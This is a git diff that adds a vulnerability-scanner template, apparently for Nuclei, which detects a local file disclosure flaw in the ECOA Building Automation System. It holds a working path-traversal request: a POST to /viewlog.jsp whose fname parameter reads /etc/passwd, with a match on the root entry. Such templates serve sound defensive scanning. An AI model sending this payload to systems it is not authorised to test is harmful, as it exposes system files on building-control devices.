diff --git a/vulnerabilities/other/ecoa-building-automation-lfd.yaml b/vulnerabilities/other/ecoa-building-automation-lfd.yaml new file mode 100644 index 0000000000..24d0554968 --- /dev/null +++ b/vulnerabilities/other/ecoa-building-automation-lfd.yaml @@ -0,0 +1,27 @@ +id: ecoa-building-automation-lfd +info: + name: ECOA Building Automation System - LFD + author: 0x_Akoko + severity: high + reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php + tags: ecoa,lfi + +requests: + - raw: + - | + POST /viewlog.jsp HTTP/1.1 + Host: {{Hostname}} + + yr=2021&mh=6&fname=../../../../../../../../etc/passwd + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + condition: and + + - type: status + status: + - 200